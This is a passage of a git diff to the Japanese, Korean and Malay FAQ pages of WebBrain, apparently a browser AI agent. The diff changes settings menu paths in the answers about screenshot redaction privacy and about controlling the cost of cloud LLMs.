- <div class="faq-answer"><p>いいえ — これは露出を減らすものであり、保証ではありません。有効にすると(<strong>設定 → マルチモーダル → スクリーンショットの黒塗り</strong>、デフォルトはオフ)、WebBrainはすべてのスクリーンショットについて、ビジョンモデルに送信する<em>前に</em>フォーム項目やメールアドレス・電話番号らしきテキストにモザイクをかけます。検出はDOMヒューリスティックを使ってすべて端末内で行われ、追加で送信されるデータはありません。</p><p><strong>これはベストエフォートかつフェイルオープンです。</strong>ナビゲーション直後、PDFビューア、制限されたブラウザページなど、検出器がページ上で動作できない場合、タスクを中断する代わりにスクリーンショットは<em>黒塗りされないまま</em>送信されます。DOMヒューリスティックが認識できないコンテンツ(canvasに描画されたテキスト、画像内の個人情報、特殊なウィジェットなど)も見逃される可能性があります。また、この設定はスクリーンショットのみを対象としており、モデルに送られるページの本文テキストはこれによって黒塗りされません。</p><p><strong>ビジョンについて完全なプライバシーが必要な場合は、ローカルモデルを使用してください。</strong>llama.cppやOllamaのようなオフラインプロバイダーを使えば、スクリーンショットもページテキストも端末から一切出ないため、そもそも黒塗りする必要がありません — これがプライバシーが保証される唯一の構成です。上記の「WebBrain は完全にオフラインで使えますか?」を参照してください。</p><p><strong>ビジョン対応のローカルモデルを動かせるマシンがない場合は?</strong>プランニングとツール呼び出し用に軽量なローカルモデル(控えめなCPU/GPUでも動く程度の軽さ)を使い、ビジョンのサブコールにはクラウドプロバイダーを組み合わせ、スクリーンショットの黒塗りをオンにするのが良い折衷案です。会話とページテキストは端末内に留まり、クラウドのビジョンに送られるスクリーンショットは事前にフォーム項目や検出されたメール/電話番号が黒塗りされた状態になります — 完全なローカルビジョンモデル用のハードウェアを用意しなくても、クラウドへの露出を減らせます。この振り分けは<strong>設定 → ビジョン</strong>から設定してください(上記の「WebBrain はどうやってクラウド LLM の請求を抑えていますか?」も参照)。</p></div>
+ <div class="faq-answer"><p>いいえ — これは露出を減らすものであり、保証ではありません。有効にすると(<strong>設定 → 補助モデル → 画像認識 → スクリーンショットの黒塗り</strong>、デフォルトはオフ)、WebBrainはすべてのスクリーンショットについて、ビジョンモデルに送信する<em>前に</em>フォーム項目やメールアドレス・電話番号らしきテキストにモザイクをかけます。検出はDOMヒューリスティックを使ってすべて端末内で行われ、追加で送信されるデータはありません。</p><p><strong>これはベストエフォートかつフェイルオープンです。</strong>ナビゲーション直後、PDFビューア、制限されたブラウザページなど、検出器がページ上で動作できない場合、タスクを中断する代わりにスクリーンショットは<em>黒塗りされないまま</em>送信されます。DOMヒューリスティックが認識できないコンテンツ(canvasに描画されたテキスト、画像内の個人情報、特殊なウィジェットなど)も見逃される可能性があります。また、この設定はスクリーンショットのみを対象としており、モデルに送られるページの本文テキストはこれによって黒塗りされません。</p><p><strong>ビジョンについて完全なプライバシーが必要な場合は、ローカルモデルを使用してください。</strong>llama.cppやOllamaのようなオフラインプロバイダーを使えば、スクリーンショットもページテキストも端末から一切出ないため、そもそも黒塗りする必要がありません — これがプライバシーが保証される唯一の構成です。上記の「WebBrain は完全にオフラインで使えますか?」を参照してください。</p><p><strong>ビジョン対応のローカルモデルを動かせるマシンがない場合は?</strong>プランニングとツール呼び出し用に軽量なローカルモデル(控えめなCPU/GPUでも動く程度の軽さ)を使い、ビジョンのサブコールにはクラウドプロバイダーを組み合わせ、スクリーンショットの黒塗りをオンにするのが良い折衷案です。会話とページテキストは端末内に留まり、クラウドのビジョンに送られるスクリーンショットは事前にフォーム項目や検出されたメール/電話番号が黒塗りされた状態になります — 完全なローカルビジョンモデル用のハードウェアを用意しなくても、クラウドへの露出を減らせます。この振り分けは<strong>設定 → 補助モデル → 画像認識</strong>から設定してください(上記の「WebBrain はどうやってクラウド LLM の請求を抑えていますか?」も参照)。</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>WebBrain は DOM 全体を AI モデルに送信しますか?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/ko/faq/index.html b/web/docs/ko/faq/index.html
index 0ab4d6e86..a64590505 100644
--- a/web/docs/ko/faq/index.html
+++ b/web/docs/ko/faq/index.html
@@ -249,7 +249,7 @@
"name": "스크린샷 마스킹 설정을 켜면 개인 데이터가 클라우드 비전 모델에 절대 도달하지 않는다는 것이 보장되나요?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "아니요 — 노출을 줄여줄 뿐 보장은 아닙니다. 활성화하면(설정 → 멀티모달 → 스크린샷 마스킹, 기본값은 꺼짐) WebBrain은 모든 스크린샷에서 비전 모델로 전송되기 전에 양식 필드와 이메일 주소·전화번호처럼 보이는 텍스트를 픽셀화합니다. 감지는 DOM 휴리스틱을 사용해 전적으로 사용자 기기에서 실행되며, 추가로 전송되는 데이터는 없습니다. 이 기능은 최선을 다하는 방식이며 fail-open입니다. 탐색 직후, PDF 뷰어, 제한된 브라우저 페이지 등에서 감지기가 동작할 수 없는 경우, 작업을 중단하는 대신 스크린샷이 마스킹되지 않은 채로 전송됩니다. DOM 휴리스틱이 볼 수 없는 콘텐츠(캔버스에 그려진 텍스트, 이미지 안의 개인정보, 특이한 위젯 등)도 놓칠 수 있습니다. 그리고 이 설정은 스크린샷만 다루며, 모델로 전송되는 페이지 텍스트는 이것으로 마스킹되지 않습니다. 비전에 대한 완전한 프라이버시가 필요하다면 로컬 모델을 사용하세요. llama.cpp나 Ollama 같은 오프라인 제공자를 사용하면 스크린샷과 페이지 텍스트가 기기를 절대 벗어나지 않으므로 애초에 마스킹할 것이 없습니다 — 프라이버시가 보장되는 유일한 구성입니다. 위의 \"WebBrain을 완전히 오프라인에서 사용할 수 있나요?\"를 참고하세요. 비전을 지원하는 로컬 모델을 돌릴 만한 기기가 없다면? 계획 수립과 도구 호출에는 가벼운 소형 로컬 모델(평범한 CPU/GPU에서도 충분히 가벼운)을 쓰고, 비전 서브콜은 클라우드 제공자에 맡기면서 스크린샷 마스킹을 켜두는 것이 좋은 절충안입니다. 대화와 페이지 텍스트는 여전히 기기 안에 남고, 클라우드 비전으로 나가는 모든 스크린샷은 이미 양식 필드와 감지된 이메일/전화번호가 흐리게 처리된 상태입니다 — 완전한 로컬 비전 모델용 하드웨어 없이도 클라우드 노출을 줄일 수 있습니다. 이 분할 설정은 설정 → 비전에서 구성하세요(위의 \"WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?\"도 참고하세요)."
+ "text": "아니요 — 노출을 줄여줄 뿐 보장은 아닙니다. 활성화하면(설정 → 보조 모델 → 비전 → 스크린샷 마스킹, 기본값은 꺼짐) WebBrain은 모든 스크린샷에서 비전 모델로 전송되기 전에 양식 필드와 이메일 주소·전화번호처럼 보이는 텍스트를 픽셀화합니다. 감지는 DOM 휴리스틱을 사용해 전적으로 사용자 기기에서 실행되며, 추가로 전송되는 데이터는 없습니다. 이 기능은 최선을 다하는 방식이며 fail-open입니다. 탐색 직후, PDF 뷰어, 제한된 브라우저 페이지 등에서 감지기가 동작할 수 없는 경우, 작업을 중단하는 대신 스크린샷이 마스킹되지 않은 채로 전송됩니다. DOM 휴리스틱이 볼 수 없는 콘텐츠(캔버스에 그려진 텍스트, 이미지 안의 개인정보, 특이한 위젯 등)도 놓칠 수 있습니다. 그리고 이 설정은 스크린샷만 다루며, 모델로 전송되는 페이지 텍스트는 이것으로 마스킹되지 않습니다. 비전에 대한 완전한 프라이버시가 필요하다면 로컬 모델을 사용하세요. llama.cpp나 Ollama 같은 오프라인 제공자를 사용하면 스크린샷과 페이지 텍스트가 기기를 절대 벗어나지 않으므로 애초에 마스킹할 것이 없습니다 — 프라이버시가 보장되는 유일한 구성입니다. 위의 \"WebBrain을 완전히 오프라인에서 사용할 수 있나요?\"를 참고하세요. 비전을 지원하는 로컬 모델을 돌릴 만한 기기가 없다면? 계획 수립과 도구 호출에는 가벼운 소형 로컬 모델(평범한 CPU/GPU에서도 충분히 가벼운)을 쓰고, 비전 서브콜은 클라우드 제공자에 맡기면서 스크린샷 마스킹을 켜두는 것이 좋은 절충안입니다. 대화와 페이지 텍스트는 여전히 기기 안에 남고, 클라우드 비전으로 나가는 모든 스크린샷은 이미 양식 필드와 감지된 이메일/전화번호가 흐리게 처리된 상태입니다 — 완전한 로컬 비전 모델용 하드웨어 없이도 클라우드 노출을 줄일 수 있습니다. 이 분할 설정은 설정 → 보조 모델 → 비전에서 구성하세요(위의 \"WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?\"도 참고하세요)."
}
},
{
@@ -289,7 +289,7 @@
"name": "WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "독립적인 세 가지 레이어가 있습니다: 토큰을 아끼는 스크린샷. 이미지가 머신을 떠나기 전에, WebBrain은 크기를 조정하고(짧은 변에 상한, 가로세로 비율 유지) 턴당 이미지 토큰 예산에 맞을 때까지 JPEG로 반복 압축합니다. GPT-4o에서 입력 토큰 약 1,500개에 해당하는 2000×1200 스크린샷이, 페이지 읽기 작업에서 실질적인 손실 없이 ~300–500 토큰으로 압축됩니다. _fitImageDimensions에 구현되어 있고 예산 계산용 유닛 테스트도 있습니다. 스마트 컨텍스트 트리밍. 대화 기록, 도구 출력, 인라인 DOM 덤프 모두 턴 단위로 상한이 걸리고, 활성 모델의 컨텍스트 윈도우가 가득 차 가면 오래된 것부터 잘립니다. read_page가 소설 분량의 글을 반환했다는 이유로 실행이 조용히 10k 토큰에서 100k 토큰으로 부풀어 오르는 일은 없습니다. 전용 비전 모델. 계획과 도구 호출에는 저렴한 텍스트 모델(예: GPT-4o-mini)을, 스크린샷에만 별도의 비전 지원 모델(예: GPT-4o)을 짝지으면 매 턴마다 멀티모달 모델 가격을 낼 필요가 없습니다. 설정 → 비전에서 구성하세요. 결과적으로 클라우드 프로바이더와의 긴 세션은 예측 가능한 상태를 유지합니다. 완전한 제어를 원한다면 로컬 llama.cpp를 쓰세요 — 토큰당 비용은 0입니다."
+ "text": "독립적인 세 가지 레이어가 있습니다: 토큰을 아끼는 스크린샷. 이미지가 머신을 떠나기 전에, WebBrain은 크기를 조정하고(짧은 변에 상한, 가로세로 비율 유지) 턴당 이미지 토큰 예산에 맞을 때까지 JPEG로 반복 압축합니다. GPT-4o에서 입력 토큰 약 1,500개에 해당하는 2000×1200 스크린샷이, 페이지 읽기 작업에서 실질적인 손실 없이 ~300–500 토큰으로 압축됩니다. _fitImageDimensions에 구현되어 있고 예산 계산용 유닛 테스트도 있습니다. 스마트 컨텍스트 트리밍. 대화 기록, 도구 출력, 인라인 DOM 덤프 모두 턴 단위로 상한이 걸리고, 활성 모델의 컨텍스트 윈도우가 가득 차 가면 오래된 것부터 잘립니다. read_page가 소설 분량의 글을 반환했다는 이유로 실행이 조용히 10k 토큰에서 100k 토큰으로 부풀어 오르는 일은 없습니다. 전용 비전 모델. 계획과 도구 호출에는 저렴한 텍스트 모델(예: GPT-4o-mini)을, 스크린샷에만 별도의 비전 지원 모델(예: GPT-4o)을 짝지으면 매 턴마다 멀티모달 모델 가격을 낼 필요가 없습니다. 설정 → 보조 모델 → 비전에서 구성하세요. 결과적으로 클라우드 프로바이더와의 긴 세션은 예측 가능한 상태를 유지합니다. 완전한 제어를 원한다면 로컬 llama.cpp를 쓰세요 — 토큰당 비용은 0입니다."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>독립적인 세 가지 레이어가 있습니다:</p><p><strong>토큰을 아끼는 스크린샷.</strong> 이미지가 머신을 떠나기 전에, WebBrain은 크기를 조정하고(짧은 변에 상한, 가로세로 비율 유지) 턴당 이미지 토큰 예산에 맞을 때까지 JPEG로 반복 압축합니다. GPT-4o에서 입력 토큰 약 1,500개에 해당하는 2000×1200 스크린샷이, 페이지 읽기 작업에서 실질적인 손실 없이 ~300–500 토큰으로 압축됩니다. <code>_fitImageDimensions</code>에 구현되어 있고 예산 계산용 유닛 테스트도 있습니다.</p><p><strong>스마트 컨텍스트 트리밍.</strong> 대화 기록, 도구 출력, 인라인 DOM 덤프 모두 턴 단위로 상한이 걸리고, 활성 모델의 컨텍스트 윈도우가 가득 차 가면 오래된 것부터 잘립니다. <code>read_page</code>가 소설 분량의 글을 반환했다는 이유로 실행이 조용히 10k 토큰에서 100k 토큰으로 부풀어 오르는 일은 없습니다.</p><p><strong>전용 비전 모델.</strong> 계획과 도구 호출에는 저렴한 텍스트 모델(예: GPT-4o-mini)을, 스크린샷에만 별도의 비전 지원 모델(예: GPT-4o)을 짝지으면 매 턴마다 멀티모달 모델 가격을 낼 필요가 없습니다. <strong>설정 → 비전</strong>에서 구성하세요.</p><p>결과적으로 클라우드 프로바이더와의 긴 세션은 예측 가능한 상태를 유지합니다. 완전한 제어를 원한다면 로컬 llama.cpp를 쓰세요 — 토큰당 비용은 0입니다.</p></div>
+ <div class="faq-answer"><p>독립적인 세 가지 레이어가 있습니다:</p><p><strong>토큰을 아끼는 스크린샷.</strong> 이미지가 머신을 떠나기 전에, WebBrain은 크기를 조정하고(짧은 변에 상한, 가로세로 비율 유지) 턴당 이미지 토큰 예산에 맞을 때까지 JPEG로 반복 압축합니다. GPT-4o에서 입력 토큰 약 1,500개에 해당하는 2000×1200 스크린샷이, 페이지 읽기 작업에서 실질적인 손실 없이 ~300–500 토큰으로 압축됩니다. <code>_fitImageDimensions</code>에 구현되어 있고 예산 계산용 유닛 테스트도 있습니다.</p><p><strong>스마트 컨텍스트 트리밍.</strong> 대화 기록, 도구 출력, 인라인 DOM 덤프 모두 턴 단위로 상한이 걸리고, 활성 모델의 컨텍스트 윈도우가 가득 차 가면 오래된 것부터 잘립니다. <code>read_page</code>가 소설 분량의 글을 반환했다는 이유로 실행이 조용히 10k 토큰에서 100k 토큰으로 부풀어 오르는 일은 없습니다.</p><p><strong>전용 비전 모델.</strong> 계획과 도구 호출에는 저렴한 텍스트 모델(예: GPT-4o-mini)을, 스크린샷에만 별도의 비전 지원 모델(예: GPT-4o)을 짝지으면 매 턴마다 멀티모달 모델 가격을 낼 필요가 없습니다. <strong>설정 → 보조 모델 → 비전</strong>에서 구성하세요.</p><p>결과적으로 클라우드 프로바이더와의 긴 세션은 예측 가능한 상태를 유지합니다. 완전한 제어를 원한다면 로컬 llama.cpp를 쓰세요 — 토큰당 비용은 0입니다.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>스크린샷 마스킹 설정을 켜면 개인 데이터가 클라우드 비전 모델에 절대 도달하지 않는다는 것이 보장되나요?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>아니요 — 노출을 줄여줄 뿐 보장은 아닙니다. 활성화하면(<strong>설정 → 멀티모달 → 스크린샷 마스킹</strong>, 기본값은 꺼짐) WebBrain은 모든 스크린샷에서 비전 모델로 전송되기 <em>전에</em> 양식 필드와 이메일 주소·전화번호처럼 보이는 텍스트를 픽셀화합니다. 감지는 DOM 휴리스틱을 사용해 전적으로 사용자 기기에서 실행되며, 추가로 전송되는 데이터는 없습니다.</p><p><strong>이 기능은 최선을 다하는 방식이며 fail-open입니다.</strong> 탐색 직후, PDF 뷰어, 제한된 브라우저 페이지 등에서 감지기가 동작할 수 없는 경우, 작업을 중단하는 대신 스크린샷이 <em>마스킹되지 않은 채로</em> 전송됩니다. DOM 휴리스틱이 볼 수 없는 콘텐츠(캔버스에 그려진 텍스트, 이미지 안의 개인정보, 특이한 위젯 등)도 놓칠 수 있습니다. 그리고 이 설정은 스크린샷만 다루며, 모델로 전송되는 페이지 <em>텍스트</em>는 이것으로 마스킹되지 않습니다.</p><p><strong>비전에 대한 완전한 프라이버시가 필요하다면 로컬 모델을 사용하세요.</strong> llama.cpp나 Ollama 같은 오프라인 제공자를 사용하면 스크린샷과 페이지 텍스트가 기기를 절대 벗어나지 않으므로 애초에 마스킹할 것이 없습니다 — 프라이버시가 보장되는 유일한 구성입니다. 위의 "WebBrain을 완전히 오프라인에서 사용할 수 있나요?"를 참고하세요.</p><p><strong>비전을 지원하는 로컬 모델을 돌릴 만한 기기가 없다면?</strong> 계획 수립과 도구 호출에는 가벼운 소형 로컬 모델(평범한 CPU/GPU에서도 충분히 가벼운)을 쓰고, 비전 서브콜은 클라우드 제공자에 맡기면서 스크린샷 마스킹을 켜두는 것이 좋은 절충안입니다. 대화와 페이지 텍스트는 여전히 기기 안에 남고, 클라우드 비전으로 나가는 모든 스크린샷은 이미 양식 필드와 감지된 이메일/전화번호가 흐리게 처리된 상태입니다 — 완전한 로컬 비전 모델용 하드웨어 없이도 클라우드 노출을 줄일 수 있습니다. 이 분할 설정은 <strong>설정 → 비전</strong>에서 구성하세요(위의 "WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?"도 참고하세요).</p></div>
+ <div class="faq-answer"><p>아니요 — 노출을 줄여줄 뿐 보장은 아닙니다. 활성화하면(<strong>설정 → 보조 모델 → 비전 → 스크린샷 마스킹</strong>, 기본값은 꺼짐) WebBrain은 모든 스크린샷에서 비전 모델로 전송되기 <em>전에</em> 양식 필드와 이메일 주소·전화번호처럼 보이는 텍스트를 픽셀화합니다. 감지는 DOM 휴리스틱을 사용해 전적으로 사용자 기기에서 실행되며, 추가로 전송되는 데이터는 없습니다.</p><p><strong>이 기능은 최선을 다하는 방식이며 fail-open입니다.</strong> 탐색 직후, PDF 뷰어, 제한된 브라우저 페이지 등에서 감지기가 동작할 수 없는 경우, 작업을 중단하는 대신 스크린샷이 <em>마스킹되지 않은 채로</em> 전송됩니다. DOM 휴리스틱이 볼 수 없는 콘텐츠(캔버스에 그려진 텍스트, 이미지 안의 개인정보, 특이한 위젯 등)도 놓칠 수 있습니다. 그리고 이 설정은 스크린샷만 다루며, 모델로 전송되는 페이지 <em>텍스트</em>는 이것으로 마스킹되지 않습니다.</p><p><strong>비전에 대한 완전한 프라이버시가 필요하다면 로컬 모델을 사용하세요.</strong> llama.cpp나 Ollama 같은 오프라인 제공자를 사용하면 스크린샷과 페이지 텍스트가 기기를 절대 벗어나지 않으므로 애초에 마스킹할 것이 없습니다 — 프라이버시가 보장되는 유일한 구성입니다. 위의 "WebBrain을 완전히 오프라인에서 사용할 수 있나요?"를 참고하세요.</p><p><strong>비전을 지원하는 로컬 모델을 돌릴 만한 기기가 없다면?</strong> 계획 수립과 도구 호출에는 가벼운 소형 로컬 모델(평범한 CPU/GPU에서도 충분히 가벼운)을 쓰고, 비전 서브콜은 클라우드 제공자에 맡기면서 스크린샷 마스킹을 켜두는 것이 좋은 절충안입니다. 대화와 페이지 텍스트는 여전히 기기 안에 남고, 클라우드 비전으로 나가는 모든 스크린샷은 이미 양식 필드와 감지된 이메일/전화번호가 흐리게 처리된 상태입니다 — 완전한 로컬 비전 모델용 하드웨어 없이도 클라우드 노출을 줄일 수 있습니다. 이 분할 설정은 <strong>설정 → 보조 모델 → 비전</strong>에서 구성하세요(위의 "WebBrain은 클라우드 LLM 청구를 어떻게 통제하나요?"도 참고하세요).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>WebBrain은 전체 DOM을 AI 모델에 보내나요?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/ms/faq/index.html b/web/docs/ms/faq/index.html
index 2bfd67c45..6f6551e00 100644
--- a/web/docs/ms/faq/index.html
+++ b/web/docs/ms/faq/index.html
@@ -249,7 +249,7 @@
"name": "Adakah tetapan Penyamaran tangkapan skrin menjamin data peribadi saya tidak akan sampai kepada model visi awan?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Tidak — ia mengurangkan pendedahan, bukan jaminan. Apabila diaktifkan (Tetapan → Multimodal → Penyamaran tangkapan skrin, dimatikan secara lalai), WebBrain mengaburkan medan borang dan teks yang kelihatan seperti alamat e-mel atau nombor telefon pada setiap tangkapan skrin sebelum ia dihantar kepada model visi. Pengesanan berjalan sepenuhnya pada peranti anda menggunakan heuristik DOM; tiada apa-apa tambahan dihantar. Ini bersifat usaha terbaik dan fail-open. Jika pengesan tidak dapat berjalan pada sesuatu halaman — contohnya sejurus selepas navigasi, dalam pemapar PDF, atau pada halaman pelayar yang dihadkan — tangkapan skrin tetap dihantar tanpa disamarkan dan bukannya membatalkan tugas anda. Kandungan yang tidak dapat dilihat oleh heuristik DOM (teks yang dilukis pada canvas, maklumat peribadi dalam imej, widget yang luar biasa) juga mungkin terlepas. Dan tetapan ini hanya merangkumi tangkapan skrin: teks halaman yang dihantar kepada model tidak disamarkan olehnya. Untuk privasi visi sepenuhnya, gunakan model tempatan. Dengan penyedia luar talian seperti llama.cpp atau Ollama, tangkapan skrin dan teks halaman tidak akan meninggalkan peranti anda, jadi tiada apa-apa untuk disamarkan sejak awal — ini satu-satunya konfigurasi di mana privasi dijamin. Lihat \"Bolehkah saya menggunakan WebBrain sepenuhnya luar talian?\" di atas. Tiada peranti yang mampu menjalankan model tempatan berupaya visi? Jalan tengah yang baik ialah menggunakan model tempatan kecil untuk perancangan dan panggilan alat (cukup ringan untuk CPU/GPU yang sederhana), digabungkan dengan penyedia awan untuk sub-panggilan visi, dengan Penyamaran tangkapan skrin dihidupkan. Perbualan dan teks halaman anda kekal pada peranti, dan setiap tangkapan skrin yang keluar untuk visi awan sudah mempunyai medan borang serta e-mel/telefon yang dikesan dalam keadaan kabur — pendedahan awan berkurangan tanpa memerlukan perkakasan untuk model visi tempatan yang lengkap. Konfigurasikan pembahagian ini di bawah Tetapan → Visi (lihat \"Bagaimanakah WebBrain mengawal bil LLM awan?\" di atas)."
+ "text": "Tidak — ia mengurangkan pendedahan, bukan jaminan. Apabila diaktifkan (Tetapan → Model Bantuan → Penglihatan → Penyamaran tangkapan skrin, dimatikan secara lalai), WebBrain mengaburkan medan borang dan teks yang kelihatan seperti alamat e-mel atau nombor telefon pada setiap tangkapan skrin sebelum ia dihantar kepada model visi. Pengesanan berjalan sepenuhnya pada peranti anda menggunakan heuristik DOM; tiada apa-apa tambahan dihantar. Ini bersifat usaha terbaik dan fail-open. Jika pengesan tidak dapat berjalan pada sesuatu halaman — contohnya sejurus selepas navigasi, dalam pemapar PDF, atau pada halaman pelayar yang dihadkan — tangkapan skrin tetap dihantar tanpa disamarkan dan bukannya membatalkan tugas anda. Kandungan yang tidak dapat dilihat oleh heuristik DOM (teks yang dilukis pada canvas, maklumat peribadi dalam imej, widget yang luar biasa) juga mungkin terlepas. Dan tetapan ini hanya merangkumi tangkapan skrin: teks halaman yang dihantar kepada model tidak disamarkan olehnya. Untuk privasi visi sepenuhnya, gunakan model tempatan. Dengan penyedia luar talian seperti llama.cpp atau Ollama, tangkapan skrin dan teks halaman tidak akan meninggalkan peranti anda, jadi tiada apa-apa untuk disamarkan sejak awal — ini satu-satunya konfigurasi di mana privasi dijamin. Lihat \"Bolehkah saya menggunakan WebBrain sepenuhnya luar talian?\" di atas. Tiada peranti yang mampu menjalankan model tempatan berupaya visi? Jalan tengah yang baik ialah menggunakan model tempatan kecil untuk perancangan dan panggilan alat (cukup ringan untuk CPU/GPU yang sederhana), digabungkan dengan penyedia awan untuk sub-panggilan visi, dengan Penyamaran tangkapan skrin dihidupkan. Perbualan dan teks halaman anda kekal pada peranti, dan setiap tangkapan skrin yang keluar untuk visi awan sudah mempunyai medan borang serta e-mel/telefon yang dikesan dalam keadaan kabur — pendedahan awan berkurangan tanpa memerlukan perkakasan untuk model visi tempatan yang lengkap. Konfigurasikan pembahagian ini di bawah Tetapan → Model Bantuan → Penglihatan (lihat \"Bagaimanakah WebBrain mengawal bil LLM awan?\" di atas)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Bagaimanakah WebBrain mengawal bil LLM awan?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Tiga lapisan bebas: Tangkapan skrin jimat token. Sebelum mana-mana imej meninggalkan mesin anda, WebBrain mengubah saiznya (sisi pendek dihadkan, mengekalkan nisbah aspek) dan memampatkannya JPEG secara berulang sehingga ia muat dengan bajet token imej setiap giliran. Tangkapan skrin 2000×1200 yang akan dikenakan kira-kira 1,500 token input pada GPT-4o akan dimampatkan kepada ~300–500 token tanpa kehilangan praktikal untuk tugas membaca halaman. Dilaksanakan dalam _fitImageDimensions dengan ujian unit untuk matematik bajet. Pemangkasan konteks pintar. Sejarah perbualan, output alat dan dump DOM sebaris dibatasi setiap giliran dan dipangkas yang paling lama dahulu apabila tetingkap konteks model aktif menghampiri penuh. Anda tidak akan melihat larian membengkak secara senyap dari 10k token kepada 100k kerana read_page mengembalikan artikel sepanjang novel. Model penglihatan khusus. Pasangkan model teks murah (cth. GPT-4o-mini) untuk perancangan dan panggilan alat dengan model penglihatan berasingan (cth. GPT-4o) hanya untuk tangkapan skrin, jadi anda tidak membayar harga model multimodal pada setiap giliran. Konfigurasi di bawah Tetapan → Penglihatan. Hasil bersih: sesi panjang dengan pembekal awan kekal boleh diramal. Untuk kawalan penuh, gunakan llama.cpp secara tempatan — kos sifar setiap token."
+ "text": "Tiga lapisan bebas: Tangkapan skrin jimat token. Sebelum mana-mana imej meninggalkan mesin anda, WebBrain mengubah saiznya (sisi pendek dihadkan, mengekalkan nisbah aspek) dan memampatkannya JPEG secara berulang sehingga ia muat dengan bajet token imej setiap giliran. Tangkapan skrin 2000×1200 yang akan dikenakan kira-kira 1,500 token input pada GPT-4o akan dimampatkan kepada ~300–500 token tanpa kehilangan praktikal untuk tugas membaca halaman. Dilaksanakan dalam _fitImageDimensions dengan ujian unit untuk matematik bajet. Pemangkasan konteks pintar. Sejarah perbualan, output alat dan dump DOM sebaris dibatasi setiap giliran dan dipangkas yang paling lama dahulu apabila tetingkap konteks model aktif menghampiri penuh. Anda tidak akan melihat larian membengkak secara senyap dari 10k token kepada 100k kerana read_page mengembalikan artikel sepanjang novel. Model penglihatan khusus. Pasangkan model teks murah (cth. GPT-4o-mini) untuk perancangan dan panggilan alat dengan model penglihatan berasingan (cth. GPT-4o) hanya untuk tangkapan skrin, jadi anda tidak membayar harga model multimodal pada setiap giliran. Konfigurasi di bawah Tetapan → Model Bantuan → Penglihatan. Hasil bersih: sesi panjang dengan pembekal awan kekal boleh diramal. Untuk kawalan penuh, gunakan llama.cpp secara tempatan — kos sifar setiap token."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Bagaimanakah WebBrain mengawal bil LLM awan?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Tiga lapisan bebas:</p><p><strong>Tangkapan skrin jimat token.</strong> Sebelum mana-mana imej meninggalkan mesin anda, WebBrain mengubah saiznya (sisi pendek dihadkan, mengekalkan nisbah aspek) dan memampatkannya JPEG secara berulang sehingga ia muat dengan bajet token imej setiap giliran. Tangkapan skrin 2000×1200 yang akan dikenakan kira-kira 1,500 token input pada GPT-4o akan dimampatkan kepada ~300–500 token tanpa kehilangan praktikal untuk tugas membaca halaman. Dilaksanakan dalam <code>_fitImageDimensions</code> dengan ujian unit untuk matematik bajet.</p><p><strong>Pemangkasan konteks pintar.</strong> Sejarah perbualan, output alat dan dump DOM sebaris dibatasi setiap giliran dan dipangkas yang paling lama dahulu apabila tetingkap konteks model aktif menghampiri penuh. Anda tidak akan melihat larian membengkak secara senyap dari 10k token kepada 100k kerana <code>read_page</code> mengembalikan artikel sepanjang novel.</p><p><strong>Model penglihatan khusus.</strong> Pasangkan model teks murah (cth. GPT-4o-mini) untuk perancangan dan panggilan alat dengan model penglihatan berasingan (cth. GPT-4o) hanya untuk tangkapan skrin, jadi anda tidak membayar harga model multimodal pada setiap giliran. Konfigurasi di bawah <strong>Tetapan → Penglihatan</strong>.</p><p>Hasil bersih: sesi panjang dengan pembekal awan kekal boleh diramal. Untuk kawalan penuh, gunakan llama.cpp secara tempatan — kos sifar setiap token.</p></div>
+ <div class="faq-answer"><p>Tiga lapisan bebas:</p><p><strong>Tangkapan skrin jimat token.</strong> Sebelum mana-mana imej meninggalkan mesin anda, WebBrain mengubah saiznya (sisi pendek dihadkan, mengekalkan nisbah aspek) dan memampatkannya JPEG secara berulang sehingga ia muat dengan bajet token imej setiap giliran. Tangkapan skrin 2000×1200 yang akan dikenakan kira-kira 1,500 token input pada GPT-4o akan dimampatkan kepada ~300–500 token tanpa kehilangan praktikal untuk tugas membaca halaman. Dilaksanakan dalam <code>_fitImageDimensions</code> dengan ujian unit untuk matematik bajet.</p><p><strong>Pemangkasan konteks pintar.</strong> Sejarah perbualan, output alat dan dump DOM sebaris dibatasi setiap giliran dan dipangkas yang paling lama dahulu apabila tetingkap konteks model aktif menghampiri penuh. Anda tidak akan melihat larian membengkak secara senyap dari 10k token kepada 100k kerana <code>read_page</code> mengembalikan artikel sepanjang novel.</p><p><strong>Model penglihatan khusus.</strong> Pasangkan model teks murah (cth. GPT-4o-mini) untuk perancangan dan panggilan alat dengan model penglihatan berasingan (cth. GPT-4o) hanya untuk tangkapan skrin, jadi anda tidak membayar harga model multimodal pada setiap giliran. Konfigurasi di bawah <strong>Tetapan → Model Bantuan → Penglihatan</strong>.</p><p>Hasil bersih: sesi panjang dengan pembekal awan kekal boleh diramal. Untuk kawalan penuh, gunakan llama.cpp secara tempatan — kos sifar setiap token.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Adakah tetapan Penyamaran tangkapan skrin menjamin data peribadi saya tidak akan sampai kepada model visi awan?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
